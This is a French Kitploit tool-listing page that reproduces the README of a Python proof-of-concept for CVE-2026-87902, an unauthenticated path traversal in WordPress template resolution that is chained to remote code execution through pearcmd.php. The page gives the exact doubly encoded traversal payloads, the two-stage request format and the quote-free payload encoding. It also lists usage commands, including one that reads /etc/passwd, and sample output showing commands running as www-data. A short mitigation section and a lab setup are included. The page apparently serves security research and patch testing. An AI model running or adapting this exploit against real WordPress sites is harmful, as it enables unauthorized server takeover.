Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-87902 — PoC Python exploitant CVE-2026-87902, une traversée de chemin non authentifiée dans locate_template() de WordPress menant à une LFI et à une RCE basée sur PEAR, avec un mode de détection sécurisé. | Kitploit
Outils/GitHubGitHub/crowsec-edtech/cve-2026-87902
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'IntrusionOutil d'Accès à DistanceDéveloppement de Charges UtilesLabs et Pratique
GitHubcrowsec-edtech/cve-2026-87902

CVE-2026-87902

PoC Python exploitant CVE-2026-87902, une traversée de chemin non authentifiée dans locate_template() de WordPress menant à une LFI et à une RCE basée sur PEAR, avec un mode de détection sécurisé.

Voir le dépôt
2il y a 1 jourPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-87902 — PoC : path traversal non authentifié dans la résolution de page-template de WordPress

Fichier de l'exploit : exploit_locate_template_rce.py — Python 3.6+ (stdlib uniquement).

Pipeline en une seule commande : détection sûre (différentiel de LFI, sans écriture) →, si vulnérable, RCE via le gadget pearcmd.php exécutant la commande de votre choix (--command/-c). Utilisez --validate-only pour s'arrêter avant l'étape d'écriture.

Teste le CVE-2026-87902 sur les versions de WordPress sans le fix du commit 5fde0bb7 — "Themes: Restrict path traversal in locate_template()" (WordPress 7.1.2, backports jusqu'à 4.7.37).

CVECVE-2026-87902 (CWE-98, CVSS 4.0 9.2 Critical / v3.1 8.1 High)
AdvisoryGHSA-7hp8-65ch-5whp
AffectéesWordPress 4.7.0 – 7.1.1 (toutes les branches)
Fix7.1.2, 7.0.6, 6.9.9 … 4.7.37
Fix commit5fde0bb7b9775523959094bf280cc54bfa78af51 (merge du changeset 63792)
Fichierswp-includes/template.php (get_page_template(), locate_template(), _wp_is_template_path_allowed())
AuthentificationAucune — aucun utilisateur, cookie, nonce ou plugin
CréditsDécouverte et disclosure : Robert Ressl

⚠️ Uniquement pour des tests autorisés. À utiliser dans des environnements que vous contrôlez (le lab ci-dessous est isolé) ou avec l'autorisation explicite du propriétaire.


1. La vulnérabilité

Dans les versions sans le fix, l'enchaînement get_page_template() → locate_template() → template-loader ne garantit jamais que le template sélectionné reste à l'intérieur du thème.

Pré-fix (wp-includes/template.php) :

root@kitploit:~
// get_page_template(): decode TARDE, sem validate_file()
$pagename_decoded = urldecode( $pagename );
if ( $pagename_decoded !== $pagename ) {
    $templates[] = "page-{$pagename_decoded}.php";
}

// locate_template(): só testa existência — nenhum confinamento de caminho
if ( file_exists( $wp_stylesheet_path . '/' . $template_name ) ) {
    $located = $wp_stylesheet_path . '/' . $template_name;
    break;
}

Post-fix (commit 5fde0bb7) :

root@kitploit:~
if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) { ... }
...
if ( _wp_is_template_path_allowed( $candidate ) ) {   // realpath + confinamento
    $located = $candidate;                            // dentro de tema/parent/theme-compat
    break;
}

Chaîne d'exploitation (code du dépôt)

  1. pagename et page_id sont des query vars publiques — acceptées dans le body d'un POST anonyme. La méthode POST fait que redirect_canonical() (canonical.php) retourne tôt — il n'agit que sur GET/HEAD, donc rien n'est redirigé.
  2. Le traversal est doublement encodé (templates%252f%252e%252e%252f...) et survit au sanitize : WP_Query::get_posts() (l.2191) réécrit le pagename avec sanitize_title_for_query( wp_basename( ... ) ) — wp_basename() ne casse pas sur %2F (formatting.php l.5768) et le sanitize préserve les octets %XX (l.2395).
  3. page_id (l.2252) écrase le WHERE ("$where =", pas ".=") — la page réelle est chargée, sans 404, et le pagename malveillant reste dans l'objet de query.
  4. get_page_template() fait un urldecode() tardif et construit page-<traversal>.php sans validate_file().
  5. locate_template() pré-patch n'appelle que file_exists() → l'include s'échappe du thème.

Préconditions

#PréconditionRaison
1Page publiée, accessible anonymement, sélectionnable par page_id et sans custom templateLa requête doit résoudre vers une Page ; un template custom viendrait avant dans la hiérarchie
2Répertoire top-level dans le thème actif (child ou parent) commençant par page- (ex. : page-templates/)WP préfixe le préfixe fixe page- ; c'est par lui que le traversal entre. Il suffit qu'il existe et soit traversable (peut être vide). Présent dans Twenty Twelve/Fourteen, Neve, Hestia, Sydney
3Cible .php locale existante et lisibleLe loader ajoute .php et vérifie is_file()/is_readable()
4(uniquement pour RCE) pearcmd.php lisible + register_argc_argv=On + répertoire inscriptible (ex. : /tmp)Route PEAR→RCE : config-create écrit le payload PHP sur le serveur

2. Ce que fait le script

Étape 1 — détection sûre (s'exécute toujours en premier)

Trois POST anonymes contre la page publiée — sans écriture sur disque :

RequêtepagenameRéponse attendue (vulnérable)
A — baseline—200, corps normal (~23 KB)
B — contrôletraversal → fichier inexistant200, corps normal (fallback page.php)
C — probetraversal → wp-content/index.php ("Silence is golden")200 avec corps vide

Signature : C vide + A/B normaux ⇒ l'include s'est échappé du thème ⇒ VULNÉRABLE. La détection balaye automatiquement : répertoires de thème candidats (page-templates, page-template) × profondeurs 1–12. Le résultat (theme-dir + depth) alimente l'étape RCE.

Avec --validate-only le script s'arrête ici (exit 0 si vulnérable).

Étape 2 — RCE via pearcmd.php (écriture)

root@kitploit:~
Étape 1  POST /?+config-create+/<payload>+/tmp/wp-pear-rce.php
           body: page_id=2&pagename=templates%252f...%252fusr%252flocal%252flib%252fphp%252fpearcmd
           → le traversal inclut /usr/local/lib/php/pearcmd.php
           → argv vient de la query string brute (register_argc_argv=On)
           → config-create ÉCRIT le payload dans /tmp/wp-pear-rce.php (12 copies sérialisées)

Étape 2  POST /  body: page_id=2&pagename=templates%252f...%252ftmp%252fwp-pear-rce
           → le même traversal inclut le fichier généré → system(<--command>) s'exécute en www-data

Détails du format (toutes les contraintes sont gérées par le script) :

  • POST, pas GET : le body porte page_id + pagename ; la query string porte exclusivement l'argv de PEAR (?+config-create+<root>+<out>).
  • Payload sans aucun guillemet : wp_magic_quotes() (load.php l.1290) applique add_magic_quotes($_SERVER) et pearcmd lit l'argv depuis $_SERVER['argv'] — tout guillemet deviendrait \' et casserait le fichier généré. Toute chaîne PHP devient une concaténation chr() : '/tmp' → chr(47).chr(116).chr(109).chr(112).
  • Request target byte-exact (http.client) : les octets bruts +, <, > de la query string sont l'argv — rien ne peut être ré-écrit/ré-encodé en chemin.
  • config-create exige un root path absolu — le payload est injecté comme le root lui-même (/<php>), préfixé par le marqueur ___WP_RCE_OK___ qui délimite la sortie.
  • Le RCE essaie des depths à partir de celui détecté (ordre interne 7, 6, 8, 5, …) et plusieurs chemins de pearcmd.php (Docker officiel, Debian/Ubuntu, XAMPP) — ajustez avec --pear-path/--output si nécessaire.

Il n'y a pas d'"upload" : la cible de la détection est un fichier que tout WordPress fournit d'usine (wp-content/index.php) ; le payload du RCE est écrit par le serveur lui-même via le gadget PEAR, en s'exécutant en www-data.


3. Utilisation

root@kitploit:~
# 1) Só validar a vulnerabilidade (LFI probe, sem escrita)
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 --validate-only

# 2) Detecção + RCE executando um comando (default: 'id')
python exploit_locate_template_rce.py --url http://127.0.0.1:8080
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 --command "id"
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 -c "uname -a; cat /etc/passwd"

# Combinações úteis
python exploit_locate_template_rce.py -u https://alvo --page-id 2 --theme-dir page-templates
python exploit_locate_template_rce.py -u http://127.0.0.1:8080 -c "whoami" --depth 7 --verbose

Paramètres

ParamètreDefaultDescription
--url, -u(obligatoire)URL de base de WordPress
--command, -cidCommande shell exécutée sur la cible (ignorée avec --validate-only)
--validate-onlyoffValide uniquement la vulnérabilité (LFI, s'arrête avant le RCE/écriture)
--page-idauto (REST, fallback probe)ID de page publiée sans custom template
--theme-diressaie page-templates, page-templateRépertoire top-level du thème commençant par page-
--probe-targetindexCible du probe de détection, sans .php (index → wp-content/index.php)
--depth0 (balaye 1–12)Nb de segments ../
--pear-pathessaie la liste internepearcmd.php de l'étape RCE, sans .php (Docker, Debian, XAMPP)
--output/tmp/wp-pear-rceDestination inscriptible du payload PEAR, sans .php
--timeout20Timeout par requête (s)
--insecureoffNe pas vérifier le certificat TLS
--verboseoffSortie détaillée par tentative

Sortie attendue dans le lab

root@kitploit:~
[*] alvo          : http://127.0.0.1:8080
[*] comando       : 'id'
[*] versão WP     : 7.1.1  (<= 7.1.1 => potencialmente afetada)
[*] page id       : 2 (sample-page, via /index.php?rest_route=/wp/v2/pages...)
[*] modo          : detecção segura (wp-content/index.php, sem escrita)
[+] theme dir     : page-templates
[+] depth          : 3
[+] traversal      : page-templates/../../../index.php
[+] VULNERÁVEL     : CVE-2026-87902 (fix 5fde0bb ausente)
[*] modo          : RCE (2 estágios via pearcmd.php)
[+] theme dir     : page-templates
[+] depth          : 7
[+] pearcmd        : /usr/local/lib/php/pearcmd.php
[+] payload file   : /tmp/wp-pear-rce.php (gravado pelo PEAR no estágio 1)
[+] comando        : 'id'
[+] saída          :
    | uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] EXPLOIT BEM-SUCEDIDO — PHP executado como a conta web

Codes de sortie : 0 = validé/RCE avec succès · 1 = non confirmé/échec · 2 = erreur (ex. : aucune page publiée trouvée). Sert de check de régression : sur WordPress ≥ 7.1.2 le probe n'est jamais vide et retourne 1.


4. Lab (Docker)

Lab utilisé : docker-compose.yml.

root@kitploit:~
services:
  db:
    image: mariadb:11
    restart: always
    environment:
      MYSQL_DATABASE: wordpress
      MYSQL_USER: wp_user
      MYSQL_PASSWORD: wp_pass
      MYSQL_ROOT_PASSWORD: root_pass
    volumes:
      - db_data:/var/lib/mysql

  wordpress:
    image: wordpress:7.1.1-php8.3-apache   # PINADA — a rolling baixa 7.1.2+ (patcheada!)
    depends_on:
      - db
    restart: always
    ports:
      - "8080:80"
    environment:
      WORDPRESS_DB_HOST: db:3306
      WORDPRESS_DB_USER: wp_user
      WORDPRESS_DB_PASSWORD: wp_pass
      WORDPRESS_DB_NAME: wordpress
    volumes:
      - wp_data:/var/www/html
      # fixture: diretório top-level "page-*" no tema (precondição #2). Pode ser vazio.
      - ./page-templates:/var/www/html/wp-content/themes/twentytwentyfive/page-templates

volumes:
  db_data:
  wp_data:
root@kitploit:~
docker compose up -d

# Instalar o WordPress (wizard em http://localhost:8080 OU via wp-cli):
docker run --rm --network wordpress-exploit_default -v wordpress-exploit_wp_data:/var/www/html `
  -e WORDPRESS_DB_HOST=db:3306 -e WORDPRESS_DB_USER=wp_user -e WORDPRESS_DB_PASSWORD=wp_pass `
  -e WORDPRESS_DB_NAME=wordpress `
  wordpress:cli wp core install --url=http://localhost:8080 --title="Lab" `
  --admin_user=admin --admin_password=adminadmin [email protected] --skip-email

# Rodar
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 --validate-only --verbose
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 -c "id"

# Teardown
docker compose down -v

Pourquoi chaque pièce compte :

  • 7.1.1-php8.3 : doit être < 7.1.2 et php8.3 — sur PHP 8.5, register_argc_argv est par défaut Off en SAPI HTTP et PEAR a quitté la distribution, donc l'étape RCE ne fonctionne pas (la détection LFI fonctionne).
  • Tag rolling = piège : wordpress:php8.3-apache télécharge aujourd'hui 7.1.2+ (patchée) et l'exploit échoue correctement.
  • Changer l'image ne rétrograde pas : le volume wp_data persiste le core ; changer le tag exige docker compose down -v pour que l'entrypoint recopie les fichiers de la nouvelle image.
  • page-templates/ (fixture) : les thèmes par défaut (Twenty Twenty-*) n'ont pas de répertoire page-* — sans lui le préfixe fixe page- ne résout jamais et aucun depth ne fonctionne. Alternative au bind mount : command: > avec sh -c "mkdir -p .../page-templates && exec apache2-foreground".
  • register_argc_argv=On : l'image officielle ne charge pas de php.ini web, donc c'est le défaut compilé qui s'applique (On sur php8.3). Vérifiez : docker exec <c> php -i | grep argc.
  • Depths du lab : la détection touche à 3 (page-templates/ → 3×.. → wp-content/) ; PEAR touche à 7 (→ / → /usr/local/lib/php/pearcmd.php).

5. Limitations et note pour les défenseurs

  • Un résultat négatif est non concluant (thème sans page-*, page avec custom template, open_basedir, WAF/proxy bloquant le traversal, page_id invalide).
  • Le probe vide peut être imité par un WAF qui répond 200 vide — confirmez avec les logs.
  • Mitigations : mettre à jour vers 7.1.2+ (ou backport de la branche) ; register_argc_argv=Off pour les SAPIs web ; supprimer pearcmd.php lisible en production ; auditer les thèmes pour les répertoires page-* top-level ; alerter dans les logs sur pagename avec %252f/%252e (doublement encodé).
  • PEAR n'est qu'une route d'inclusion→exécution ; tout .php lisible et utile peut être ciblé par le LFI (détection via --probe-target).

6. Références

  • Advisory : https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-7hp8-65ch-5whp
  • Fix (branche 7.1) : commit 5fde0bb7b9775523959094bf280cc54bfa78af51 — changeset 63792
  • Write-up et PoC du découvreur : https://ressl.ch/blog/cve-2026-87902-wordpress/ · https://github.com/ressl/cve-2026-87902-poc
  • Détection différentielle (Hadrian) : https://hadrian.io/vulnerability-alerts/cve-2026-87902-working-poc-wordpress-critical-path-traversal
  • WordPress 7.1.2 : https://wordpress.org/news/

Avertissement légal

Ce matériel est fourni uniquement pour la recherche et les tests de sécurité autorisés. L'utilisation contre des systèmes sans permission explicite du propriétaire est illégale. L'exploit a été développé et vérifié exclusivement dans un laboratoire local isolé.

Télécharger l’outil